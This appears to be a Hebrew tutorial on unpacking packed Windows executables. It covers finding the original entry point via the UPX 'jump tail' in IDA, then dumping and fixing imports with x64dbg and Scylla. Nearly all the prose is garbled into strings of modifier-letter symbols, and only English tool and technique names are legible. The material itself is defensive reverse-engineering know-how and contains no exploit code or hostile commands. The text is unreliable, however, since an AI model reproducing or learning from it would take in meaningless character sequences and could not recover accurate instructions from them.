˸˧ˮ˩ˣ˸ ˸˰˴˟ˬˢ ˵ˣ˧ˡ˟ ˨˲ˢˢ Σ˶ˬˣ˪˩ ˸˪˟˵ˬ ˳˟ˣ˵ ˪˰ ˵˯˧ˡˢ ˞ˣˢ˷ Packed ˸˶˴ˣ˧ˣ ˳˟ˣ˵ ˷ˡ˥ ˪˰ ˵˯˧ˡˢ 

˞ˣˢ˷ Unpack Φ˟ˣ˷˥ ˷˧ˠˡˢ˪ ˭˞˩ ˶˟ˣˡˬ˷ ˨˧˪ˢ˸˟ ˢˮˣ˷ ˨˧˪ˢ˸ˢˬ sπUnpacking ˰˴˟˸ˬˢ ˪˰ ˧ˡ˧ sπ

Unpacking stub ˭ˣˣ˧˩ˬ ˢ˷πUnpacking stub ˰ˡˣ˧ ˳˪˥˪ ˶ˡ˯˪ˣ ˸˞ ˢˮ˟ˬ ˳˟ˣ˵ˢ ˭ˣ˶˩˧ˤ˟ ˞˪ˣ ˪˰ ˵˯˧ˡˢΦ 

ˢˬˬ˞ Σ˫˞ ˷˧ ˣˮ˪ ˸˞ ˳˟ˣ˵ˢ ˭ˣ˶˩˧ˤ˟ ˢˤ ˧˶˷˲˞ Ϧ˭˵˸˪ Ϧˣ˸ˣ˞ ˪˰ ˸ˮˬ ˰˧ˠˢ˪ ˢˮ˟ˬ˪ ˪˷ ˳˟ˣ˵ ˣ˲ˣ˯˟˷ ˪˷ 

˶˟ˡ ˶˷˲˞˧ ˣˮ˪ ˰˴˟˪ ˢ˶˧˵˥ ˟πIDAΦ 

˫˞ ˭˩ Σ˪˩ˣˮ ˶ˤ˰˧ˢ˪ ˟πUnpacking stub ˪˰ ˸ˮˬ ˪˟˵˪ ˢ˷˧ˠ ˳˟ˣ˵˪ ˶ˣ˵ˬˢ ˶˷˞˩ ˞ˣˢ ˢ˲ˣˬˬ ˭ˣ˶˩˧ˤ˪ Φ˪˩ 

ˣˮ˧˪˰˷ ˸ˣ˷˰˪ ˞ˣˢ ˞ˡˣˣ˪ ˢ˷πUnpacking stub ˳˪˧˥ ˸˞ ˳˟ˣ˵ˢ ˢˮ˟ˣ ˸˞ sπimports ˣ˪˷ ˢ˥˪˴ˢ˟ ˢ˯ˮˮˣ 

˞ˣ˴ˬ˪ ˸˞ sπjump tail ˰ˠ˶ ˧ˮ˲˪ ˢ˴˧˲˵ˢ ˪πOEP Φ 

˭˩˟ˣ ˞˪ ˡ˧ˬ˸ ˸˞ˤ ˸˩˪ˣˢ ˸ˣ˧ˢ˪ ˢˬ˧˷ˬ ˢ˪˵ Χˠ˧˴˞ ˶˲˯ˬ ˸ˣ˦˧˷ ˸˞˧˴ˬ˪ ˳˟ˣ˵ ˶ˣ˵ˬˢ ˭ˣ˶˩˧ˤ˟Φ 

ˠ˧˴˞ ˸˞ ˵˪˥ ˸ˣ˞ˬˠˣˡˢˬ ˪˰ ˫˧ˮ˰ˠˣ˲ ˫˧˧˸˧ˬ˞ ˧˸˞˴ˬ˷ ˧˸ˡ˶ˣˢˣ ˶˸˞ˢˬ malshare Σˣˬ˷˩˷ ˭˩ ˞ˣˢ Σ˞ˣˢ 

˶˸˞ ˪˧˩ˬˢ ˶ˠ˞ˬ ˫˧ˮ˰ˠˣ˲ ˢˡ˶ˣˢ˪ ˭˸˧ˮ˷ ˷˲˥˪ ˧˲˪ ˫˧ˮ˧˧˲˞ˬ ˫˧ˮˣ˷ ˣˬ˩ Υhash Σ˫˷ ˳˟ˣ˵ ˣ˪˧˲˞ˣ ˧˵ˣ˥ 

yaraΦ 
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Finding the OEP 

˯ˮ˩˞˷ ˧ˮ˲˪ ˸ˣ˞ˬˠˣˡ˪ Σ˶ˬˣ˞ ˪˰˷ ˸ˮˬ ˭˧˟ˢ˪ ˸˞ ˭˪ˣ˩ ˷˶ˡˮ ˰ˡ˧ ˧˯˧˯˟ ˟πDebuggingΦ 

jump to different section 

˸˥˞ ˧˩˶ˡˬ ˢˡˣ˟˰ˢ ˸ˣ˴ˣ˲ˮˢ ˪˷ Packers ˞˧ˢ ˢ˶˧˴˧ ˪˷ section ˷ˡ˥ Σ˶˥˞˪ˣ sπUnpack ˟ˣ˸˩˪ ˣ˧˪˞ ˸˞ 

˭˩ˣ˸ˢ ˳˪ˣ˥˷ ύˢ˦˧˷ˢ ˸˞˶˵ˮ ˫ˠ section override Φό˪˩ˣˮ ˶˰˷˪ ˢ˷πjump tail ˢ˧ˢ˧ ˢˤ˧˞ ˞˧ˢ˷ ˢ˞˶ˣˢ 

˶˧˟˰˸˷ ˸˞ ˢ˦˧˪˷ˢ ˪πsection ˶˥˞ ˫˷ ˞˴ˬˮ ˸˞ sπOEPΦ 

upx ˷ˬ˸˷ˬ ˢ˦˧˷˟ ˣˤˢ Σ˫˧ˠˡˮˣ ˸˞ ˸˵˧ˮ˩˦ ˳ˣ˪˧˥ˢ ˪˰ ˳˟ˣ˵ˢ hello_upx ˣˮˡ˟˰˷ ˣ˸˧˞ ˢˬˠˣˡ˟ ˢ˪˰ˬ Φ

ˢ˵˧ˮ˩˦ˢ ˡˣ˟˰˸ ˪˰ ˪˩ Packer ˪˰ˣ˲˷ ˢ˦˧˷˟ xʕ ˞˧ˢˣ ˞˪ ˸˧˲˧˴˲˯ ˪πupxΦ 

˨˶ˡ ˸˧ˮˡ˧ 

˪˧˥˸ˮ ˵ˣ˶ˤ˪˟ ˸˞ ˳˟ˣ˵ˢ ˟πIDA Φˢ˶˦ˬˢ ˣˮ˪˷ ˞˧ˢ ˞ˣ˴ˬ˪ ˢˡˣ˵˲ ˢ˶˧˟˰ˬ˷ ˸˞ ˸˴˧˶ ˡˣ˵ˢ ˪πsection 

˶˥˞ Σ˪˩ˣˮ ˸ˣˢˤ˪ ˢ˸ˣ˞ ˪˰ ˧ˡ˧ ˷ˣ˲˧˥ ˸ˡˣ˵˲ jmp ˸˴˲ˣ˵˷ ˸˧˯˥˧ ˵ˣ˥˶ ύsπbase address ˢ˪˷ ˢ˧ˢ˧ ˢˮˣ˷ 

ˢˬπbase address ˪˷ sπsection ˧˥˩ˣˮˢ x˟ ˣˮ˞ ˫˧˞˴ˬˮ Φό˫˞ ˣˮ˞˴ˬ ˸ˡˣ˵˲ jmp ˣˮ˥ˮ˞˷ ˫˧ˡ˷ˣ˥ ˞˧ˢ˷ sπ

jump tail ˣˮ˪˷ ˪˩ˣˮ ˵ˣˡ˟˪ ˢˬ ˭˩ˣ˸ ˸˟ˣ˸˩ˢ ˢ˧˪˞ sπjmp ˶˧˟˰ˬ ˸˞ ˸˦˧˪˷ ˡˣ˵ˢ Σ˫˷ ˣˮ˥ˮ˞ ˞˪ ˫˧˶ˣˬ˞ 

˸ˣ˞˶˪ ˰ˡ˧ˬ ˪˪˩ ύ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˞˶ˮ˷ ˫ˠ ˰ˡ˧ˬ ˧ˬ˸˯ ˧˷˧˯˶ˡ ό˭ˣˣ˧˩ˬ ˵˶˷ ˭ˬˤ˟ ˢ˴˧˶ ˳˪ˣ˥˧ ˫˷˪ ˡˣ˵ ˳˟ˣ˵ˢ 

˧˶ˣ˵ˬˢΥ 
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ˤ˞ ˪˧˥˸ˮ ˸˞ ˫˧˷ˣ˲˧˥ˢ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲˟ ˸˧˸˪˥˸ˢˢ ˪˷ ˳˟ˣ˵ˢ Φˢ˞˶ˮ ˸ˬ˧˧˵˷ ˢ˟ ˵˶ ˸ˡˣ˵˲ jz ˸˥˞ Σ

ˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˸˟ˣ˸˩ˢ˷ ˢ˧˪˞ ˞˧ˢ ˳ˣ˲˵˸ ˸˞˴ˬˮ ˨ˣ˸˟ ˢ˧˴˵ˮˣ˲ˢ ˮˢϦ˪ ˪˰ ˧˲ ˫˧˴˧˥ˢ ˷πIDA ˸˶˧˧˴ˬ Φ

˭˲ˣ˞˟ ˧˪˪˩ ˢ˞˶ˮ ˞˪˷ ˢ˶ˣ˵ ˢ˲ ˢ˟˶ˢ ˳ˣ˥ ˢ˞˧˶˵ˬ ˢ˧˴˵ˮˣ˲˪ ˸˲˯ˣˮ Σ˯ˮ˩ˮ ˢ˧˪˞Υ 

 

ˢ˧˴˵ˮˣ˲ˢ ˸˞ˤˢ ˢ˲˧˦ ˶˸ˣ˧ ˢ˩ˣ˶˞ Σ˪˟˞ ˶˷˲˞ ˸ˣ˞˶˪ ˸ˣ˪˵˟ ύ˟ˣ˷ ˸˶ˤ˰˟ ˫˧˴˧˥ˢ ˪˷ IDA ό˫˞˷ ˷˧ jmp 

˪˞ ˫ˣ˵ˬ ˳ˣ˥ˬ˷ ˢ˧˴˵ˮˣ˲˪ ˢˤ ˢ˧ˢ˧ ˸ˣˣ˴˵˟ ˢ˲˧˞ ˭˧˞˷ ˳˥ ˢˮ˲ˬ˷ ˣˮ˸ˣ˞ ˫ˣ˵˧ˬ˪ ˨ˣ˸˟ ˢ˧˴˵ˮˣ˲ˢ Φ˫˞ 

˪˩˸˯ˮ ˟ˣ˶˵ˬ ˢ˞˶ˮ ˧ˮ˷˟˷ ˫˧˶˵ˬˢ ˷˧ ˢ˴˧˲˵ ˪πoffsets ˫ˮ˩ˣ˸˷ ˰˟˵ˮ ˭ˬˤ˟ ˢ˴˧˶ Φ˫˧˷ˮ breakpoint ˪˰ 

˪˩ ˸˥˞ ˸ˣ˴˧˲˵ˢˬ ˣ˪˞ˢΥ 
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˳˧˶ˮ ˸˞ ˭˰ˠˣ˲ˢ ˢ˞˶ˮˣ ˣˮ˶˴˰˷ ˟πbreakpoint ˧ˮ˷ˢ Φ˷ˠ˧ˮ ˸˟ˣ˸˩˪ ˪˷ sπjmp ˟πbreakpoint ˭ˣ˷˞˶ˢ 

ˢ˞˶ˮˣ ˷˧˷ ˫˷ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ ExitProcess π ˭ˬ ˫˸˯ˢ ˞˪ sπjump tail ˣˮ˪˷ Φ˨˧˷ˬˮ ˢ˲˧˞ˬ ˣˮ˶˴˰˷ 

˵ˣˡ˟ˮˣ ˣ˧˷˩˰ ˢˬ ˫˧˧˵ ˸˟ˣ˸˩˟ ˢ˧˪˞ ˣˮ˥ˮ˞ ˫˧˩˪ˣˢ ˳ˣ˲˵˪Φ 

 

˫˧˷ˮ ˟˪ ˣ˧˷˩˰˷ ˫˧˧˵ ˭˞˩ ˡˣ˵ ˞˪˷ ˢ˧ˢ ˫ˡˣ˵ ˭˩˪ Ηˡ˴˟ ˪˞ˬ˷ ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˫˷ sπsection x˟ ˣˮ˥ˮ˞ 

˫˧˞˴ˬˮ Σ˫˞ˣ ˣˬ˧˷˸ ˟˪ ˣ˧˷˩˰ ˣˮ˥ˮ˞ ˟πsection ˫˷˟ UPX0 Φ˧ˮ˲˪ ˢ˴˧˲˵ˢ ύ˭˸˧ˮ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ ˢ˪˰ˬ ό

ˣˮ˧˧ˢ ˡˣ˵˟ ˞˴ˬˮˢ ˟πsection ˫˷˟ UPX1 Φ˶ˣ˞˪ ˫˧ˮˣ˸ˮˢ ˫˧˷ˡ˥ˢ ˣˮ˧˪˧ˠ˷ ˪˩ˣˮ ˶˰˷˪ ˸ˣ˶˧˟˯˟ ˢˢˣ˟ˠ 

˸˧˯˥˧ ˧˩ ˣˮ˞˴ˬ ˸˞ sπjump tail ˣˮ˪˷Φ 

˭˞˩ˬ ˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˳˪˥˪ ˸˞ ˡˣ˵ˢ ˪˞ ˵˯˧ˡˢ Φ˧ˡ˩ ˰˴˟˪ ˸˞ˤ Σ˶ˤ˰˞ ˟πx64dbg ˟xπscylla Φ 

x64dbg π˞ˣˢ ˡˣ˰ ˠˣ˯ ˪˷ Debugger xπDisassembler ύ˷ˬˬ ˣˬ˩ IDA ό˸˶˧˵˥˪ ˡˣ˵ ˸˟˧˟˯˟ windows Φ

˧˪˩ˢ ˰˧ˠˬ ˫˰ ˵˷ˬˬ ˧˲˶ˠ ˥ˣˮ ˢˡˣ˟˰˪ Σ˪˧˩ˬˣ ˸˧˦˪ˣ˲˧ˡ plugin ˫˷˟ sycllaΦ 

scylla π ˞ˣˢ ˧˪˩ ˶ˤˣ˰˷ ˡˣ˞ˬ ˨˧˪ˢ˸˟ sπUnpacking Σˣ˸˪ˣ˩˧˟ ˳˪˥˪ ˳˟ˣ˵ ˭ˣ˶˩˧ˤˢˬ ˭˸ˮ˧ˢ˟ sπOEP ύ˷˧ x˪ 

˫ˠ ˸˪ˣ˩˧ ˷ˣ˲˧˥˪ sπOEP ό˞ˣˢˣ ˰ˡˣ˧ ˸ˣˮ˟˪ ˸˞ ˸˪˟˦ sπIAT ˪˰ ˨ˬ˯ ˳˟ˣ˵ˢ ˳˪˧˥˷ ˭ˣ˶˩˧ˤˢˬΦ 

ˤ˞ ˪˧˥˸ˮ ˨˧˪ˢ˸˟ ˳ˣ˪˧˥ˢ Σˢ˧ˢ˧ ˣˮ˧˪˰ ˥ˣ˸˲˪ ˸˞ ˳˟ˣ˵ˢ ˟πx64dbg ˰˧ˠˢ˪ˣ ˪πOEP ˵ˣ˧ˡ˟ ˧˲˩ ˣˮ˧˷˰˷ ˟π

IDA Φ˥˸˲ˮ˷˩ ˸˞ ˳˟ˣ˵ˢ ˳˥˪ˮ F9 sxπDebugger ˥˵˧ ˣˮ˸ˣ˞ ˪˞ sπentry point Φ 

˟ˣ˷˥ ˶ˣ˩ˤ˪ ˞˪˷ ˡ˧ˬ˸ ˳˟ˣ˵ˢ ˭˰˦˧ ˭˸ˣ˞˪ ˸ˣ˟ˣ˸˩ ˭ˣ˶˩˧ˤ˟ Σ˭˩˪ ˭˩˸˧ ˡˣ˞ˬ ˞˪˷ ˢ˞˶ˮ ˟πx64dbg ˸˞ ˭˸ˣ˞ 

˸ˣ˟ˣ˸˩ˢ ˣˮ˧˞˶˷ ˟πIDA ˞˪ˣ ˪˩ˣˮ ˦ˣ˷˲ ˳ˣ˲˵˪ ˟ˣ˸˩˪ ˪˷ sπjump tail ˣˮ˧˞˶˷ ˢˬˠˣˡ˟ ˸ˬˡˣ˵ˢ Φˢˬ 

˶˷˲˞˷ ˸ˣ˷˰˪ ˢˡ˧ˬ˟ ˸ˣ˟ˣ˸˩ˢˣ ˸ˣˮˣ˷ ˭˧˟ IDA ˪πx64dbg ˢˤ ˸ˣ˷˰˪ rebase ˶˥˞˪ ˢˬπdebuggerπ˫˧Φ 
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˭˸˧ˮ ˰˴˟˪ rebase ˫˰ IDA ˸ˣ˰˴ˬ˞˟ Rebase program>->Segments-EditΥ 

 

˪˩ˣˮ ˶ˤ˰˧ˢ˪ ˟πIDA ˸ˣ˞˶˪ˣ ˡˣ˵ˢ˷ ˭˞˩ ˢˢˤ ˪πentry point ˷πIDA ˢˠ˧˴ˢ ˣˮ˪ Σ˭˩˪ ˯ˮ˩ˮ ˢ˧˴˵ˮˣ˲˪ ˢˮˣ˷˞˶ˢ 

˧˲˩ ˣˮ˧˷˰˷ ˫ˠ ˟πIDA Σ˷˲˥ˮˣ ˸˞ sπjump tailΥ 

 

ˢˮˣˬ˸˟ ˢ˞˶ˮ ˸˞ ˸˪˧˥˸ ˢ˧˴˵ˮˣ˲ˢ ˢ˷ˡ˥ˢ ˣˮ˯ˮ˩ˮ˷ ˢ˧˪˞ ύˢ˶˧˩ˤˬ ˸˞ˤ˷ ˢ˧˴˵ˮˣ˲ˢ ˢ˟ ˣˮ˞˴ˬ ˸˞ sπ

jump tail Φό˪˩ˣˮ ˷˲˥˪ ˭˧˰˟ ˸˞ ˢ˴˧˲˵ˢ x˞ ˳ˣ˲˵˪ ˢ˸ˣ˞˪ ˸˟ˣ˸˩ˢ ˢ˪˷ ˧˲˩ ˞˧ˢ˷ ˢ˸˧˧ˢ ˟πIDA ˧˩ ˣˮ˶˩ˮ˯ 

˸˞ ˸ˣ˟ˣ˸˩ˢ Σ˫˧˷ˮ breakpoint ˟πjump tailΦ 
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˳˧˶ˮ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˡ˰ sπbreakpoint ˨˧˷ˬˮˣ ˫˰ sπdebugger ˢ˞˶ˣˢ ˸˥˞ ˳˧˶˸˷ ˸˞ sπjump tail ˣˮ˪˷ 

˥˵˧˸ˣ ˣˮ˸ˣ˞ ˪˞ sπOEPΥ 

 

ˢ˪ˣ˰ˬ Σˣ˧˷˩˰ ˢˬ ˶˸ˣˮ˷ ˸ˣ˷˰˪ ˞ˣˢ ˳˪˥˪ ˸˞ ˳˟ˣ˵ˢ ˭ˣ˶˩˧ˤˢˬ ˸˶ˤ˰˟ scylla Φ˦ˣ˷˲ ˳˥˪ˮ ˪˰ ˷˵ˬ sπs 

ύ˱˵ˣˬ ˪ˣˠ˧˰˟ ˢˮˣˬ˸˟ ό˥˸˲˧ ˣˮ˪ ˭ˣ˪˥ˢ ˞˟ˢΥ 

 

˳˥˪ˮ ˪˰ IAT Autosearch ,Get Imports ˫ˣ˧˯˪ˣ ˪˰ dump Φˢˤ ˳˪˥˧ ˣˮ˪ ˸˞ ˳˟ˣ˵ˢ ˭ˣ˶˩˧ˤˢˬ ˭˸ˮ˧˟ sπOEP Φ 
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˟˪˷ˢ ˞˟ˢ ˞ˣˢ ˳ˣ˥˪˪ ˪˰ Fix Dump ˶ˣ˥˟˪ˣ ˸˞ ˳˟ˣ˵ sπdump ˰ˠ˶˩ ˣˮ˶˴˧Υ 

 

˶˷˲˞ ˸ˣ˞˶˪ ˭ˣ˪˥˟ ˢ˦ˬ ˳˟ˣ˵ˢ˷ ˭˵ˣ˸ ˢˤ˧˞˟ˣ ˟˧˸ˮ ˞ˣˢ ˶ˬ˷ˮ Φˢ˯ˮˮ ˶ˣ˵˥˪ ˸˞ ˳˟ˣ˵ˢ ˷πscylla ˢˮ˵˧˸ 

π˟IDA ˢ˞˶ˮˣ ˫˞ ˨˧˪ˢ˸ˢ ˥˪˴Υ 

 


















































































































































